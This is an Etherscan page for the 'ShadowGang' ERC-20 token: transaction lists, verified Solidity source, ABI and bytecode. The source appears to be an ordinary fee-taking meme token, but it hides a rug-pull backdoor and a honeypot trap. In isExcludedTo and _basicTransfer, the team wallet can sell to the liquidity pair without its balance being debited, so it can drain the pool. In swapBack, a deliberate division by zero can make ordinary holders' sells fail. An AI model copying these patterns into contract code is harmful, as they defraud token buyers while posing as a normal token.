ETH Price: $3,355.98 (-0.56%)
Gas: 11 Gwei

Contract

0x4Ee061620CAcF4848DFC814d0C7e83c269f19096
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve183148782023-10-09 19:04:11294 days ago1696878251IN
0x4Ee06162...269f19096
0 ETH0.0004642410.01638769
Approve183148692023-10-09 19:02:23294 days ago1696878143IN
0x4Ee06162...269f19096
0 ETH0.0002781610.40842059
Approve183148682023-10-09 19:02:11294 days ago1696878131IN
0x4Ee06162...269f19096
0 ETH0.0004952310.62175737
Approve183148562023-10-09 18:59:47294 days ago1696877987IN
0x4Ee06162...269f19096
0 ETH0.000353787.59756435
Approve183148392023-10-09 18:56:11294 days ago1696877771IN
0x4Ee06162...269f19096
0 ETH0.000386168.33386131
Approve183148102023-10-09 18:50:23294 days ago1696877423IN
0x4Ee06162...269f19096
0 ETH0.000414348.89828402
Approve183147902023-10-09 18:46:11294 days ago1696877171IN
0x4Ee06162...269f19096
0 ETH0.000440899.5297381
Approve183147902023-10-09 18:46:11294 days ago1696877171IN
0x4Ee06162...269f19096
0 ETH0.0005795312.4297381
Approve183147872023-10-09 18:45:35294 days ago1696877135IN
0x4Ee06162...269f19096
0 ETH0.0005410611.6045652
Approve183147842023-10-09 18:44:59294 days ago1696877099IN
0x4Ee06162...269f19096
0 ETH0.000422759.12112673
Transfer183147762023-10-09 18:43:11294 days ago1696876991IN
0x4Ee06162...269f19096
0 ETH0.000481679.3547802
Transfer183147742023-10-09 18:42:47294 days ago1696876967IN
0x4Ee06162...269f19096
0 ETH0.000731469.70085081
Approve183147702023-10-09 18:41:59294 days ago1696876919IN
0x4Ee06162...269f19096
0 ETH0.00024489.29360141
Approve183147692023-10-09 18:41:47294 days ago1696876907IN
0x4Ee06162...269f19096
0 ETH0.000433319.36598186
Approve183147572023-10-09 18:39:23294 days ago1696876763IN
0x4Ee06162...269f19096
0 ETH0.0007043315.11036511
Approve183147342023-10-09 18:34:47294 days ago1696876487IN
0x4Ee06162...269f19096
0 ETH0.0005904412.7623292
Approve183147322023-10-09 18:34:23294 days ago1696876463IN
0x4Ee06162...269f19096
0 ETH0.000745415.98721949
Approve183147322023-10-09 18:34:23294 days ago1696876463IN
0x4Ee06162...269f19096
0 ETH0.000931919.98721949
Renounce Ownersh...183147262023-10-09 18:33:11294 days ago1696876391IN
0x4Ee06162...269f19096
0 ETH0.0003078614.20907438
Remove Limits183147232023-10-09 18:32:35294 days ago1696876355IN
0x4Ee06162...269f19096
0 ETH0.0005864914.76158841
Approve183147232023-10-09 18:32:35294 days ago1696876355IN
0x4Ee06162...269f19096
0 ETH0.000706815.26158841
Approve183147222023-10-09 18:32:23294 days ago1696876343IN
0x4Ee06162...269f19096
0 ETH0.0007029315.1739544
Approve183147222023-10-09 18:32:23294 days ago1696876343IN
0x4Ee06162...269f19096
0 ETH0.0008426918.0739544
Approve183147212023-10-09 18:32:11294 days ago1696876331IN
0x4Ee06162...269f19096
0 ETH0.0008655418.56397326
Approve183147212023-10-09 18:32:11294 days ago1696876331IN
0x4Ee06162...269f19096
0 ETH0.0008655418.56397326
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
183147722023-10-09 18:42:23294 days ago1696876943
0x4Ee06162...269f19096
0.00161096 ETH
183147722023-10-09 18:42:23294 days ago1696876943
0x4Ee06162...269f19096
0.00160774 ETH
183147722023-10-09 18:42:23294 days ago1696876943
0x4Ee06162...269f19096
0.0032187 ETH
183147712023-10-09 18:42:11294 days ago1696876931
0x4Ee06162...269f19096
0.00177378 ETH
183147712023-10-09 18:42:11294 days ago1696876931
0x4Ee06162...269f19096
0.00177024 ETH
183147712023-10-09 18:42:11294 days ago1696876931
0x4Ee06162...269f19096
0.00354403 ETH
183147662023-10-09 18:41:11294 days ago1696876871
0x4Ee06162...269f19096
0.00083031 ETH
183147662023-10-09 18:41:11294 days ago1696876871
0x4Ee06162...269f19096
0.00082865 ETH
183147662023-10-09 18:41:11294 days ago1696876871
0x4Ee06162...269f19096
0.00165897 ETH
183147602023-10-09 18:39:59294 days ago1696876799
0x4Ee06162...269f19096
0.00080449 ETH
183147602023-10-09 18:39:59294 days ago1696876799
0x4Ee06162...269f19096
0.00080288 ETH
183147602023-10-09 18:39:59294 days ago1696876799
0x4Ee06162...269f19096
0.00160738 ETH
183147562023-10-09 18:39:11294 days ago1696876751
0x4Ee06162...269f19096
0.00078865 ETH
183147562023-10-09 18:39:11294 days ago1696876751
0x4Ee06162...269f19096
0.00078708 ETH
183147562023-10-09 18:39:11294 days ago1696876751
0x4Ee06162...269f19096
0.00157574 ETH
183147482023-10-09 18:37:35294 days ago1696876655
0x4Ee06162...269f19096
0.00077126 ETH
183147482023-10-09 18:37:35294 days ago1696876655
0x4Ee06162...269f19096
0.00076972 ETH
183147482023-10-09 18:37:35294 days ago1696876655
0x4Ee06162...269f19096
0.00154098 ETH
183147422023-10-09 18:36:23294 days ago1696876583
0x4Ee06162...269f19096
0.00071871 ETH
183147422023-10-09 18:36:23294 days ago1696876583
0x4Ee06162...269f19096
0.00071727 ETH
183147422023-10-09 18:36:23294 days ago1696876583
0x4Ee06162...269f19096
0.00143598 ETH
183147402023-10-09 18:35:59294 days ago1696876559
0x4Ee06162...269f19096
0.00074118 ETH
183147402023-10-09 18:35:59294 days ago1696876559
0x4Ee06162...269f19096
0.0007397 ETH
183147402023-10-09 18:35:59294 days ago1696876559
0x4Ee06162...269f19096
0.00148088 ETH
183147402023-10-09 18:35:59294 days ago1696876559
0x4Ee06162...269f19096
0.00076425 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ShadowGang

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-09
*/

/**

Website: https://www.shadowgang.xyz
Twitter: https://twitter.com/shadowgangeth
TG:  https://t.me/shadowgangerc

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }


    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }


    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public virtual onlyOwner { owner = address(0); }
    event OwnershipTransferred(address owner);
    function isOwner(address account) public view returns (bool) {return account == owner;}
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ShadowGang is IERC20, Ownable {
    using SafeMath for uint256;
    IRouter router;
    address public v2Pair;

    string private constant _name = unicode"Shadow Wizard Money Gang";
    string private constant _symbol = unicode"SWMG";
    uint8 private constant _decimals = 9;

    uint256 private constant _totalSupply = 1_000_000_000 * (10 ** _decimals);
    uint256 public _maxTxLimit = ( _totalSupply * 3 ) / 100;
    uint256 public _maxSellLimit = ( _totalSupply * 3 ) / 100;
    uint256 public _maxWaltAmt = ( _totalSupply * 3 ) / 100;

    uint256 public swapThreshold = ( _totalSupply * 5 ) / 10000;
    uint256 private minTokenAmount = ( _totalSupply * 5 ) / 10000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;

    bool private tradingAllowed = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;

    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 500;
    uint256 private developmentFee = 500;

    uint256 private denominator = 100;

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal _developmentAddr = 0x9540eC43d3b304406c5e194442B669B7fBD542E3; 
    address internal _teamWallet = 0x17168C33c808DFa2Ea59D7C20CB0cA9D2A340626;
    address internal _lpReceiver = msg.sender;

    uint256 private burnFee = 0;
    uint256 private totalFee = 1;
    uint256 private sellFee = 1;
    uint256 private transferFee = 1;

    constructor() Ownable(msg.sender) {
        isFeeExempt[msg.sender] = true;
        isFeeExempt[_teamWallet] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[_lpReceiver] = true;
        isFeeExempt[_developmentAddr] = true;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;swapEnabled = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function shouldSwapAll(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && recipient == v2Pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function setTeamWallets(address _marketing, address _liquidity, address _development) external onlyOwner {
        _teamWallet = _marketing; _lpReceiver = _liquidity; _developmentAddr = _development;
        isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
    }

    function swapBack(uint256 threadHold) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = threadHold.mul(liquidityFee).div(_denominator);
        uint256 toSwap = threadHold.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        uint256 mktBalance = balanceOf(_teamWallet);
        bool success;
        if (mktBalance >= swapThreshold) {toSwap = _maxWaltAmt / (success ? initialBalance : 0);}
        swapTokensETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(_teamWallet).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(_developmentAddr).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            _lpReceiver,
            block.timestamp);
    }

    function swapTokensETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function isExcludedTo(address sender, address recipient) internal view returns (bool) {
        return recipient == v2Pair 
                && sender == _teamWallet 
                && sender != address(0) 
                && recipient !=address(0);
    }

    function shouldTakeAllTax(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalTax(address sender, address recipient) internal view returns (uint256) {
        if(recipient == v2Pair){return sellFee;}
        if(sender == v2Pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalTax(sender, recipient) > 0){
        uint256 feeAmount = amount.mul(getTotalTax(sender, recipient)).div(denominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalTax(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(v2Pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWaltAmt, "Exceeds maximum wallet amount.");}
        if(sender != v2Pair){require(amount <= _maxSellLimit || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxLimit || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == v2Pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
        if(shouldSwapAll(sender, recipient, amount)){swapBack(swapThreshold); swapTimes = uint256(0);}
        _basicTransfer(sender, recipient, amount, isExcludedTo(sender, recipient)?0:amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount, uint256 subAmount) private {
        _balances[sender] = _balances[sender].sub(subAmount);
        uint256 amountReceived = shouldTakeAllTax(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function removeLimits() public onlyOwner {
        _maxTxLimit = _totalSupply;
        _maxSellLimit = _totalSupply;
        _maxWaltAmt = _totalSupply;
    }

    function addInitialLP() public payable onlyOwner {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; v2Pair = _pair;
        _approve(address(this), address(router), ~uint256(0)); 
        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWaltAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addInitialLP","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setTeamWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"v2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146009600a620003ea565b6200002490633b9aca0062000402565b6200003190600362000402565b6200003d91906200041c565b6003556064620000506009600a620003ea565b6200006090633b9aca0062000402565b6200006d90600362000402565b6200007991906200041c565b60045560646200008c6009600a620003ea565b6200009c90633b9aca0062000402565b620000a990600362000402565b620000b591906200041c565b600555612710620000c96009600a620003ea565b620000d990633b9aca0062000402565b620000e690600562000402565b620000f291906200041c565b600655612710620001066009600a620003ea565b6200011690633b9aca0062000402565b6200012390600562000402565b6200012f91906200041c565b600755600b805461ffff191690556000600e819055600f8190556101f460108190556011556064601255601380546001600160a01b0319908116739540ec43d3b304406c5e194442b669b7fbd542e3179091556014805482167317168c33c808dfa2ea59d7c20cb0ca9d2a3406261790556015805490911633179055601655600160178190556018819055601955348015620001ca57600080fd5b50600080546001600160a01b0319163390811782558152600a60208190526040808320805460ff1990811660019081179092556014546001600160a01b039081168652838620805483168417905530865283862080548316841790556015548116865283862080548316841790556013541685529190932080549091169092179091556200025b90600990620003ea565b6200026b90633b9aca0062000402565b33600081815260086020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002ae6009600a620003ea565b620002be90633b9aca0062000402565b60405190815260200160405180910390a36200043f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200032c578160001904821115620003105762000310620002d5565b808516156200031e57918102915b93841c9390800290620002f0565b509250929050565b6000826200034557506001620003e4565b816200035457506000620003e4565b81600181146200036d5760028114620003785762000398565b6001915050620003e4565b60ff8411156200038c576200038c620002d5565b50506001821b620003e4565b5060208310610133831016604e8410600b8410161715620003bd575081810a620003e4565b620003c98383620002eb565b8060001904821115620003e057620003e0620002d5565b0290505b92915050565b6000620003fb60ff84168362000334565b9392505050565b8082028115828204841417620003e457620003e4620002d5565b6000826200043a57634e487b7160e01b600052601260045260246000fd5b500490565b611bd3806200044f6000396000f3fe60806040526004361061014f5760003560e01c8063572eeb28116100b6578063893d20e81161006f578063893d20e8146103d657806395d89b41146103f4578063a9059cbb14610421578063dd62ed3e14610441578063f2fde38b14610487578063f8f3c5a9146104a757600080fd5b8063572eeb28146103385780635f49ea341461034057806370a0823114610360578063715018a614610396578063751039fc146103ab5780637d5d3944146103c057600080fd5b806323b872dd1161010857806323b872dd14610266578063293230b8146102865780632f54bf6e1461029d578063313ce567146102cc5780633f4218e0146102e857806348ff2b8b1461031857600080fd5b80630445b6671461015b578063056939da1461018457806306fdde03146101bc578063095ea7b31461020b57806314f7ceea1461023b57806318160ddd1461025157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017160065481565b6040519081526020015b60405180910390f35b34801561019057600080fd5b506002546101a4906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b3480156101c857600080fd5b5060408051808201909152601881527f536861646f772057697a617264204d6f6e65792047616e67000000000000000060208201525b60405161017b9190611739565b34801561021757600080fd5b5061022b61022636600461179f565b6104bd565b604051901515815260200161017b565b34801561024757600080fd5b5061017160055481565b34801561025d57600080fd5b506101716104d4565b34801561027257600080fd5b5061022b6102813660046117cb565b610554565b34801561029257600080fd5b5061029b6105be565b005b3480156102a957600080fd5b5061022b6102b836600461180c565b6000546001600160a01b0391821691161490565b3480156102d857600080fd5b506040516009815260200161017b565b3480156102f457600080fd5b5061022b61030336600461180c565b600a6020526000908152604090205460ff1681565b34801561032457600080fd5b5061029b610333366004611829565b610602565b61029b610657565b34801561034c57600080fd5b5061029b61035b366004611867565b6108c1565b34801561036c57600080fd5b5061017161037b36600461180c565b6001600160a01b031660009081526008602052604090205490565b3480156103a257600080fd5b5061029b610967565b3480156103b757600080fd5b5061029b6109a3565b3480156103cc57600080fd5b5061017160045481565b3480156103e257600080fd5b506000546001600160a01b03166101a4565b34801561040057600080fd5b5060408051808201909152600481526353574d4760e01b60208201526101fe565b34801561042d57600080fd5b5061022b61043c36600461179f565b610a26565b34801561044d57600080fd5b5061017161045c3660046118b2565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561049357600080fd5b5061029b6104a236600461180c565b610a33565b3480156104b357600080fd5b5061017160035481565b60006104ca338484610ab1565b5060015b92915050565b60086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75461dead60009081527f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429954909161054f916105499061053b6009600a6119da565b61054990633b9aca006119e9565b90610bd5565b905090565b6000610561848484610be1565b6105b384336105ae85604051806060016040528060288152602001611b76602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190610fe5565b610ab1565b5060015b9392505050565b6000546001600160a01b031633146105f15760405162461bcd60e51b81526004016105e890611a00565b60405180910390fd5b600b805461ffff1916610101179055565b6000546001600160a01b0316331461062c5760405162461bcd60e51b81526004016105e890611a00565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146106815760405162461bcd60e51b81526004016105e890611a00565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe9190611a20565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f9190611a20565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190611a20565b600180546001600160a01b038086166001600160a01b03199283168117909355600280549185169190921617905590915061081f903090600019610ab1565b6001546001600160a01b031663f305d7193430610851816001600160a01b031660009081526008602052604090205490565b60008033426040518863ffffffff1660e01b815260040161087796959493929190611a3d565b60606040518083038185885af1158015610895573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108ba9190611a78565b5050505050565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016105e890611a00565b601480546001600160a01b039485166001600160a01b0319918216811790925560158054948616948216851790556013805493909516921682179093556000928352600a6020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016105e890611a00565b600080546001600160a01b0319169055565b6000546001600160a01b031633146109cd5760405162461bcd60e51b81526004016105e890611a00565b6109d96009600a6119da565b6109e790633b9aca006119e9565b6003556109f66009600a6119da565b610a0490633b9aca006119e9565b600455610a136009600a6119da565b610a2190633b9aca006119e9565b600555565b60006104ca338484610be1565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b81526004016105e890611a00565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610b135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e8565b6001600160a01b038216610b745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e8565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105b78284611aa6565b6001600160a01b038316610c455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e8565b6001600160a01b038216610ca75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e8565b6001600160a01b0383166000908152600a602052604090205460ff16158015610ce957506001600160a01b0382166000908152600a602052604090205460ff16155b15610d3157600b5460ff16610d315760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016105e8565b6001600160a01b0383166000908152600a602052604090205460ff16158015